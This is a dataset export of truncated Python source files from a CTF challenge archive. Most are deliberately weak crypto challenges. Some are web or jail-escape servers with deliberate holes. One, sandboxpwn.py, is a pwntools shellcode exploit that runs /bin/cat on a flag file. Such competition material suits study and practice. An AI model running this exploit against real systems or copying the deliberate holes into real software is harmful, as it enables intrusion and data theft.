repo
stringlengths
7
90
file_url
stringlengths
81
315
file_path
stringlengths
4
228
content
stringlengths
0
32.8k
language
stringclasses
1 value
license
stringclasses
7 values
commit_sha
stringlengths
40
40
retrieved_at
stringdate
2026-01-04 14:38:15
2026-01-05 02:33:18
truncated
bool
2 classes
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ctrl+Space/2025/Quals/crypto/spAES_1/chall.py
ctfs/Ctrl+Space/2025/Quals/crypto/spAES_1/chall.py
from spaes import spAES import os from base64 import b64encode, b64decode, binascii from file_reader import read intro = """Welcome to the super secure encryption service in-space! 1) Encrypt text 2) Obtain our super-secret file, you can't decrypt it! 3) Quit""" def main(): secret_file = read('secret_...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ctrl+Space/2025/Quals/crypto/spAES_1/spaes.py
ctfs/Ctrl+Space/2025/Quals/crypto/spAES_1/spaes.py
from Crypto.Util.Padding import pad, unpad SBOX = [4, 14, 13, 5, 0, 9, 2, 15, 11, 8, 12, 3, 1, 6, 7, 10] ROUNDS = 6 CONSTS = ['6d6ab780eb885a101263a3e2f73520c9', 'f71df57947881932a33a3a0b8732b912', '0aa5df6fadf91c843977d378cc721147', '4a8f29cf09b62619c596465a59fb9827', '29b408cfd4910c80866f5121c6b1cc77', '8589c67a30...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ctrl+Space/2025/Quals/crypto/spAES_2/chall.py
ctfs/Ctrl+Space/2025/Quals/crypto/spAES_2/chall.py
from spaes import spAES import os from base64 import b64encode, b64decode, binascii flag = os.getenv("FLAG", "space{fake}") intro = """Welcome to the super secure encryption service in-space! 1) Encrypt text 2) Guess the key! 3) Quit""" def main(): key = os.urandom(16) print(intro) while True...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ctrl+Space/2025/Quals/crypto/spAES_2/spaes.py
ctfs/Ctrl+Space/2025/Quals/crypto/spAES_2/spaes.py
from Crypto.Util.Padding import pad, unpad SBOX = [4, 14, 13, 5, 0, 9, 2, 15, 11, 8, 12, 3, 1, 6, 7, 10] ROUNDS = 9 CONSTS = ['6d6ab780eb885a101263a3e2f73520c9', 'f71df57947881932a33a3a0b8732b912', '0aa5df6fadf91c843977d378cc721147', '4a8f29cf09b62619c596465a59fb9827', '29b408cfd4910c80866f5121c6b1cc77', '8589c67a30...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/misc/possible_futures/builder.py
ctfs/UMDCTF/2024/misc/possible_futures/builder.py
#builder.py #UMDCTF Challenge: i_see_many_paths #Developed on Python 3.12.0 (tags/v3.12.0:0fb18b0, Oct 2 2023, 13:03:39) [MSC v.1935 64 bit (AMD64)] on win32 import string import random import hashlib import py7zr import os #=========================================================== #Constants #===================...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/misc/attack_of_the_worm/server.py
ctfs/UMDCTF/2024/misc/attack_of_the_worm/server.py
#!/usr/local/bin/python import sys import numpy as np from PIL import Image import torch import torch.nn as nn from torchvision.models import resnet18 model = resnet18() model.fc = nn.Linear(model.fc.in_features, 1) model.load_state_dict(torch.load('model.pt')) original = np.array(Image.open("worm.png")) modified = ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/misc/the_worm_strikes_back/server.py
ctfs/UMDCTF/2024/misc/the_worm_strikes_back/server.py
#!/usr/local/bin/python import base64 import os import sys import numpy as np from PIL import Image import torch import torch.nn as nn from torchvision.models import resnet18 import torchvision.transforms as T def mask_generation(patch=None, image_size=(3, 224, 224)): applied_patch = np.zeros(image_size) rot...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/crypto/haes/haes.py
ctfs/UMDCTF/2024/crypto/haes/haes.py
#!/usr/local/bin/python # adapted from https://github.com/boppreh/aes/blob/master/aes.py, # which is in turn adapted from https://github.com/bozhu/AES-Python # LICENSE: ''' Copyright (C) 2012 Bo Zhu http://about.bozhu.me Permission is hereby granted, free of charge, to any person obtaining a copy of this software an...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/crypto/Triple_DES/tripledes.py
ctfs/UMDCTF/2024/crypto/Triple_DES/tripledes.py
#!/usr/local/bin/python from os import urandom from Crypto.Cipher import DES from Crypto.Util.Padding import pad, unpad key = bytes.fromhex(open("key.txt", "r").read()) keys = [key[i:i+8] for i in range(0, len(key), 8)] flag = open("flag.txt", "rb").read() enc = pad(flag, 8) for i in range(3): cipher = DES.new(keys[...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/crypto/haes_2/haes_2.py
ctfs/UMDCTF/2024/crypto/haes_2/haes_2.py
#!/usr/local/bin/python # adapted from https://github.com/boppreh/aes/blob/master/aes.py, # which is in turn adapted from https://github.com/bozhu/AES-Python # LICENSE: ''' Copyright (C) 2012 Bo Zhu http://about.bozhu.me Permission is hereby granted, free of charge, to any person obtaining a copy of this software and...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/crypto/Key_Recovery/encrypt.py
ctfs/UMDCTF/2024/crypto/Key_Recovery/encrypt.py
from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP with open("flag.txt", "rb") as f: flag = f.read() with open("original.pem", "rb") as f: orig_key = f.read() key = RSA.import_key(orig_key) cipher = PKCS1_OAEP.new(key) ciphertext = cipher.encrypt(flag) with open("out.txt", "wb") as f: f.write...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2024/web/HTTP_Fanatics/main.py
ctfs/UMDCTF/2024/web/HTTP_Fanatics/main.py
import base64 import json import os import re import threading import time from typing import Annotated from fastapi import FastAPI, Cookie from fastapi.requests import Request from fastapi.responses import HTMLResponse, Response from fastapi.templating import Jinja2Templates from pydantic import BaseModel app = Fast...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/ml/Elgyems_Password/model.py
ctfs/UMDCTF/2023/ml/Elgyems_Password/model.py
from torch import nn model = nn.Sequential( nn.Linear(22, 69), nn.Linear(69, 420), nn.Linear(420, 800), nn.Linear(800, 85), nn.Linear(85, 13), nn.Linear(13, 37) )
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/Ekans/generator.py
ctfs/UMDCTF/2023/crypto/Ekans/generator.py
import random import numpy as np DIM = 256 q = 15901 rng = np.random.default_rng() def gen_A(): mat = [[random.randint(0, q-1) for _ in range(DIM)] for _ in range(DIM) ] return np.matrix(mat) def gen_error_vec(): e = [ rng.binomial(20, 0.5) - 10 for _ in range(DIM) ] return np.matrix(e).transpose()...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/CBC-MAC1/cbc-mac1.py
ctfs/UMDCTF/2023/crypto/CBC-MAC1/cbc-mac1.py
import socket import threading from _thread import * from Crypto import Random from Crypto.Cipher import AES from binascii import hexlify, unhexlify HOST = '0.0.0.0' # Standard loopback interface address (localhost) PORT = 60001 # Port to listen on (non-privileged ports are > 1023) FLAG = open('flag.txt', 'r')...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/NoisyBits/generator.py
ctfs/UMDCTF/2023/crypto/NoisyBits/generator.py
import random POLY = 0xC75 FLAG_BIN_LENGTH = 360 def encode(cw): cw = (cw & 0xfff) c = cw for i in range(1, 12+1): if cw & 1 != 0: cw = cw ^ POLY cw = cw >> 1 return (cw << 12) | c flag = open('flag.txt', 'rb').read() binary_str = bin(int.from_bytes(flag))[2:].zfill(FLA...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/Caterpie/generator.py
ctfs/UMDCTF/2023/crypto/Caterpie/generator.py
import numpy as np import random DIM = 64 q = 2**16 rng = np.random.default_rng() def gen_A(): mat = [[random.randint(0, q-1) for _ in range(DIM)] for _ in range(DIM) ] return np.matrix(mat) def gen_error_vec(): e = [ rng.binomial(20, 0.5) - 10 for _ in range(DIM) ] return np.matrix(e).transpose() ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/Eeveelutions/gen.py
ctfs/UMDCTF/2023/crypto/Eeveelutions/gen.py
from Crypto.Util.number import getPrime, inverse, bytes_to_long from math import gcd import re import string import random while True: p = getPrime(1024) q = getPrime(1024) n = p * q e = 3 phi = (p-1)*(q-1) if gcd(phi, e) == 1: d = inverse(e, phi) break with open('flag.txt'...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/CBC-MAC2/cbc-mac2.py
ctfs/UMDCTF/2023/crypto/CBC-MAC2/cbc-mac2.py
import socket import threading from _thread import * from Crypto import Random from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes as l2b from binascii import hexlify, unhexlify HOST = '0.0.0.0' # Standard loopback interface address (localhost) PORT = 60002 # Port to listen on (non-privi...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/ReduceThyself/reduce_thyself.py
ctfs/UMDCTF/2023/crypto/ReduceThyself/reduce_thyself.py
import socket import random import threading from _thread import * from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l, getPrime, isPrime, inverse from math import gcd from binascii import hexlify, unhexlify HOST = '0.0.0.0' # Standard loopback interface address (localhost) PORT = 60003 #...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2023/crypto/AES-TR/aes-tr.py
ctfs/UMDCTF/2023/crypto/AES-TR/aes-tr.py
import socket import random import threading from _thread import * from Crypto import Random from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l from Crypto.Util.strxor import strxor from binascii import hexlify, unhexlify HOST = '0.0.0.0' # Standard loopback interf...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2022/crypto/VigenereXOR/keygen.py
ctfs/UMDCTF/2022/crypto/VigenereXOR/keygen.py
import random from binascii import hexlify KEY_LEN = [REDACTED] keybytes = [] for _ in range(KEY_LEN): keybytes.append(random.randrange(0,255)) print(f'key = {bytes(keybytes)}') key = hexlify(bytes(keybytes)).decode() with open('key.hex', 'w') as f: print(f'key = {key}') f.write(key + '\n')
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2022/crypto/VigenereXOR/encrypt.py
ctfs/UMDCTF/2022/crypto/VigenereXOR/encrypt.py
import random from binascii import unhexlify, hexlify KEY_LEN = [REDACTED] with open('plaintext.txt', 'r') as f: pt = f.read() with open('key.hex', 'r') as f: key = unhexlify(f.read().strip()) ct_bytes = [] for i in range(len(pt)): ct_bytes.append(ord(pt[i]) ^ key[i % KEY_LEN]) ct = bytes(ct_bytes) pri...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2022/crypto/MTP/encrypt.py
ctfs/UMDCTF/2022/crypto/MTP/encrypt.py
import random from binascii import unhexlify, hexlify KEY_LEN = 30 keybytes = [] for _ in range(KEY_LEN): keybytes.append(random.randrange(0,255)) print(f'key = {bytes(keybytes)}') key = keybytes with open('plaintexts.txt', 'r') as f: pts = f.read().strip().split('\n') cts = [] for pt in pts: ct_bytes ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2022/web/ASimpleCalculator/secrets.py
ctfs/UMDCTF/2022/web/ASimpleCalculator/secrets.py
# note that all of this info is diff on the challenge server :) FLAG = 'f{hi_bob}}' key = 7 ws = ['bad stuff'] def encrypt(text: str, key: int): result = '' for c in text: if c.isupper(): c_index = ord(c) - ord('A') c_shifted = (c_index + key) % 26 + ord('A') resu...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UMDCTF/2022/web/ASimpleCalculator/app.py
ctfs/UMDCTF/2022/web/ASimpleCalculator/app.py
from flask import Flask, send_from_directory, request, render_template, json from secrets import flag_enc, ws app = Flask(__name__, static_url_path='') def z(f: str): for w in ws: if w in f: raise Exception("nope") return True @app.route('/') def home(): return render_template('inde...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/P.W.N/2018/sandbox_compat/src/sandboxpwn.py
ctfs/P.W.N/2018/sandbox_compat/src/sandboxpwn.py
#!/usr/bin/env python2 from pwn import * context.clear(arch='i386') payload = asm( """ mov esp, 0xbeeffe00 mov ebp, esp """ + shellcraft.pushstr('/bin/cat') + """ mov esi, esp """ + shellcraft.pushstr('/opt/flag.txt') + """ mov edi, esp """ + """ xor edx, edx ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2024/pwn/Jail_Shell/jail.py
ctfs/BSidesMumbai/2024/pwn/Jail_Shell/jail.py
#!/usr/bin/python3 import re import random code = input("Let's Start: ") if re.match(r"[a-zA-Z]{4}", code): print("Code failed, restarting...") elif len(set(re.findall(r"[\W]", code))) > 4: print(set(re.findall(r"[\W]", code))) print("A single code cannot process this much special characters. Restarting....
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2025/crypto/Trixie_Prixie/Trixie_Prixie.py
ctfs/BSidesMumbai/2025/crypto/Trixie_Prixie/Trixie_Prixie.py
import numpy as np import base64 import sympy def is_invertible_mod(matrix, mod): sym_mat = sympy.Matrix(matrix.tolist()) try: _ = sym_mat.inv_mod(mod) return True except: return False def generate_valid_matrix(mod=256, size=4): while True: mat = np.random.randint(0, 25...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2022/crypto/EggLamal/chal.py
ctfs/BSidesMumbai/2022/crypto/EggLamal/chal.py
from params import a, b, p FLAG = int(open('flag.txt', 'rb').read().hex(), 16) g = 2 m = FLAG % p A = pow(g, a, p) B = pow(g, b, p) s = pow(A, b, p) c = s * m % p print('p =', p) print('A =', A) print('B =', B) print('c =', c)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2022/crypto/PoetXor/chal.py
ctfs/BSidesMumbai/2022/crypto/PoetXor/chal.py
from secrets import token_bytes from itertools import cycle FLAG = open("flag.txt", "rb").read().split(b'\n') wee = token_bytes(8) cipher = '' for secret in FLAG: enc = bytes([ a ^ b for a,b in zip(secret, cycle(wee)) ]) cipher += enc.hex() + '\n' open("flag.enc", "w").write(cipher)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2022/crypto/ECCSub/chal.py
ctfs/BSidesMumbai/2022/crypto/ECCSub/chal.py
import os FLAG = open('flag.txt', 'rb').read().strip() def ECC_encode(x): y2 = (x**3 + a*x + b) % p return y2 p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63b...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2022/crypto/ASD-SEA/chal.py
ctfs/BSidesMumbai/2022/crypto/ASD-SEA/chal.py
from Crypto.Util.Padding import pad from Crypto.Util.number import * from Crypto.PublicKey import DSA from Crypto.Cipher import AES from Crypto.Hash import SHA import os def sign(msg): h = SHA.new(msg).digest() n = bytes_to_long(h + os.urandom(2)) assert 1 < n < key.q-1 r = pow(key.g,n,key.p) % key....
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesMumbai/2022/crypto/BigRSA/chal.py
ctfs/BSidesMumbai/2022/crypto/BigRSA/chal.py
from Crypto.Util.number import * from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 def keygen(nbit): p, q = [ getPrime(nbit) for _ in range(2)] n = p * q phi = (p-1)*(q-1) d = getPrime(1 << 8) e = inverse(d, phi) key = RSA.construct((n,e,d)) return key nbit = 512 key =...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/misc/The_Impossible_Escape/The Impossible Escape.py
ctfs/Srdnlen/2023/misc/The_Impossible_Escape/The Impossible Escape.py
from os import getenv banner = r""" ############################################################################# # _____ _ ___ _ _ _ # # |_ _| |__ ___ |_ _|_ __ ___ _ __ ___ ___ ___(_) |__ | | ___ # # | | | '_ \ / _ \ | || '_ ` _ \| '_ \ / _ \...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/crypto/BabyOrNot/server.py
ctfs/Srdnlen/2023/crypto/BabyOrNot/server.py
from ecdsa import curves, util, SigningKey, VerifyingKey, BadSignatureError from hashlib import sha224 from Crypto.Util.number import bytes_to_long from random import SystemRandom import os, ast, signal random = SystemRandom() sk: SigningKey = SigningKey.generate(curve=curves.NIST224p, hashfunc=sha224) vk: VerifyingKe...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/crypto/MPDH/chall.py
ctfs/Srdnlen/2023/crypto/MPDH/chall.py
from random import SystemRandom from sympy.ntheory.generate import nextprime from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Hash import SHA256 flag = b"srdnlen{????????????????????????????????????????????????????????????????????????????????????}" n = 32 q = nextprime(int(0x1337**...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/crypto/L337tery/server.py
ctfs/Srdnlen/2023/crypto/L337tery/server.py
from random import SystemRandom from functools import reduce from operator import __xor__, __and__ import os, signal random = SystemRandom() bsum = lambda l: reduce(__xor__, l, 0) bmul = lambda l: reduce(__and__, l, 1) class NLFSR: taps = [0, 1, 2, 3, 7, 11, 13, 29] filter = [(0, 96, 128, 192, 255), (16, 32,...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/crypto/RSA/chall.py
ctfs/Srdnlen/2023/crypto/RSA/chall.py
from Crypto.Util.number import getStrongPrime, bytes_to_long flag = b"srdnlen{?????????????????????????????????????????????}" nbits = 512 e = 0x10001 r, s, a = [getStrongPrime(nbits, e=e) for _ in range(3)] rsa = r * s * a r_s_a = r + s + a rs_ra_sa = r * s + r * a + s * a flag_enc = pow(bytes_to_long(flag), e, rsa...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/web/Spongeweb/challenge/app.py
ctfs/Srdnlen/2023/web/Spongeweb/challenge/app.py
from nis import cat from flask import Flask, render_template, request, redirect, session, flash, url_for, g, abort import sqlite3 from uuid import uuid4 import os import re DATABASE = './database.db' app = Flask(__name__) app.secret_key = os.urandom(24) def init_db(): with app.app_context(): db = get_db(...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/web/Sardinian_Dishes/backend/src/app.py
ctfs/Srdnlen/2023/web/Sardinian_Dishes/backend/src/app.py
import sqlite3 from flask import Flask, request, g DATABASE = './database.db' app = Flask(__name__) def init_db(): with app.app_context(): db = get_db() with app.open_resource('schema.sql', mode='r') as f: db.cursor().executescript(f.read()) db.commit() def get_db(): db = ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/web/Sardinian_Dishes/frontend/src/app.py
ctfs/Srdnlen/2023/web/Sardinian_Dishes/frontend/src/app.py
from flask import Flask, make_response, request import pyratemp import requests app = Flask(__name__) dishes = { 'malloreddus':'Malloreddus, sometimes Italianized as gnocchetti sardi, are a type of pasta typical of Sardinian cuisine.', 'seadas':'Seada is a Sardinian dessert. It is prepared by deep...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2023/web/My_Bidda/app.py
ctfs/Srdnlen/2023/web/My_Bidda/app.py
from flask import Flask, request, make_response import jinja2 from jinja2 import PackageLoader import random import string import json import base64 app = Flask(__name__) class Bidda: def __init__(self, name, population, image): self.name = name self.population = population self.image = image def __r...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2025/misc/Another_Impossible_Escape/chall.py
ctfs/Srdnlen/2025/misc/Another_Impossible_Escape/chall.py
#!/usr/bin/env python3 import sys import re BANNER = r""" ############################################################ # _ _ _ # # / \ _ __ ___ | |_| |__ ___ _ __ # # / _ \ | '_ \ / _ \| __| '_ \ / _ \ '__| # # / ___ \| | |...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2025/crypto/Confusion/chall.py
ctfs/Srdnlen/2025/crypto/Confusion/chall.py
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import os # Local imports FLAG = os.getenv("FLAG", "srdnlen{REDACTED}").encode() # Server encryption function def encrypt(msg, key): pad_msg = pad(msg, 16) blocks = [os.urandom(16)] + [pad_msg[i:i + 16] for i in r...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2025/crypto/Based_sbox/server.py
ctfs/Srdnlen/2025/crypto/Based_sbox/server.py
import os, xoflib, functools, signal def sbox(x, n=64): mods = {64: 0x1b, 128: 0x87} mod = mods[n] def mul(a, b, n=64): r = 0 for i in range(n): r <<= 1 if r & (1 << n): r ^= (1 << n) | mod if a & (1 << (n - 1 - i)): r ^...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2022/crypto/Fancy_e/fancy_e.py
ctfs/Srdnlen/2022/crypto/Fancy_e/fancy_e.py
#!/usr/bin/env python3 import random import string from Crypto.Util.number import getPrime, bytes_to_long def flag_padding(flag): s = string.ascii_lowercase + string.ascii_uppercase + string.digits for i in range(random.randint(5, 10)): flag = random.choice(s) + flag + random.choice(s) return fl...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2022/crypto/EasyRSA/easyrsa.py
ctfs/Srdnlen/2022/crypto/EasyRSA/easyrsa.py
#!/usr/bin/env python3 from Crypto.Util.number import getPrime, bytes_to_long def padding(text, n): for j in range(n % 2**8): text += b"poba" return bytes_to_long(text) if __name__ == '__main__': f = open('flag.txt', 'r').read().encode() e = 13 print("Can u break the best encryption to...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
